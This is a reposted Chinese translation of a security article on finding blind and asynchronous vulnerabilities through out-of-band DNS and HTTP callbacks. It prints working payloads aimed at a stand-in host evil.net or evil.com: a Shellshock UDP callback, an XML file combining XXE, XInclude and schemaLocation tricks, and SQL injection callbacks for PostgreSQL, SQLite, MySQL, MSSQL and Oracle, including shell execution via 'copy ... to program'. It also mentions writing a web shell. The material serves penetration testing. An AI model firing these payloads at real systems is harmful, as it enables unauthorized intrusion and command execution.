6

黑盒测试中那些"看不见的"漏洞

 3 years ago
source link: https://lcx.cc/post/4573/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

黑盒测试中那些"看不见的"漏洞

2015-09-27 约 1490 字 预计阅读 3 分钟

黑盒测试中那些"看不见的"漏洞

小饼仔 | 2015-09-16 17:01

原文:Hunting Asynchronous Vulnerabilities

简单翻译下大致意思

在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如

- 是否触发错误消息

- 响应内容是否不同

- 是否有时间延迟

但有一些漏洞触发后并不会造成响应不同,或者不会立刻执行,比如二次SQL注入、命令注入但只会在夜间crontab执行等,导致我们无法通过一般的手段来判断是否存在漏洞。

这类“看不见的”漏洞大致可以分为三类:

- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询,你不知道这个注入查询什么时候会被执行,也许payload会触发时间延迟,但是这个延迟仅影响后台线程,无法在前台被检测到。

- Blind漏洞,需要二次事件来触发。比如Blind XSS、二次SQL注入

- 不会造成响应不同的漏洞,并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入

为了能够检测到此类漏洞,我们需要一个能够促发callback的payload,callback能够从有漏洞的应用向攻击者控制的机器上发起连接,比如Shellshock的例子

() { :;}; echo 1 > /dev/udp/evil.com/53

如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包。

通过触发callback的方法,我们不需要依赖应用的输出就可以来判断漏洞是否存在。

因为DNS查询几乎不会被防火墙拦截,因此非常适合作为触发callback。

Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看

下面介绍一些不同漏洞类型下的DNS callback

XML漏洞

下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url)

<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
  %remote;
]>
<root>
  <foo>&xxe;</foo>
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
    href="http://xi.evil.net/" ></x>
  <y xmlns=http://a.b/
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://a.b/
    http://schemalocation.evil.net/a.xsd">a</y>
</root>

最后两个payload,利用了XInclude 和 schemaLocation,因为不需要完全控制XML文档,因此特别有效

SQL注入

Postgresql

利用copy 命令,可以调用任意的shell命令(需要一定权限)

copy (select '') to program 'nslookup evil.net'

如果用ping命令在linux下会阻塞执行的线程,因此这里用nslookup

MySQL 和 SQLite3

Windows下,大多数文件系统函数都支持UNC path,UNC path能够引用远程server的资源,因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback

SQLite3

;attach database '//evil.net/z' as 'z'-- - 
(SELECT load_extension('//foo'))

第一种需要支持batched query,第二种需要启用load_extension 函数

MySQL

LOAD_FILE('\\\\evil.net\\foo')
SELECT … INTO OUTFILE '\\\\evil.net\foo'

MSSQL

SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a', 'select 1 from dual')

(需要 'ad hoc distributed queries')

EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'

(需要 sysadmin 权限)

BULK INSERT mytable FROM '\\\\evil.net$file'

(需要 bulk insert privileges)

EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'

(最理想的 – 需要 sysadmin 权限 ,DNS 查询后会检查权限)

Oracle SQL

Oracle提供很多方法来触发callback,如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…,但是都需要各种权限。

但是可以利用内置的XML解析函数,低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞,因此我们可以利用XXE来触发callback

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

Write-based callbacks

因为非WINDOWS系统不支持UNC paths,我们可以利用写文件函数来触发callback

最直接的方式就是写一个web shell,前提是需要知道webroot路径

修改mailspools / maildrops,控制邮件发送,这个需要root权限,没什么用

利用mysql函数来修改配置文件,将修改 bind-address成我们的hostname,然后在dns响应返回0.0.0.0,让mysql绑定所以可用接口

shell命令注入和 XSS部分大家参考下原文

[原文地址]


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK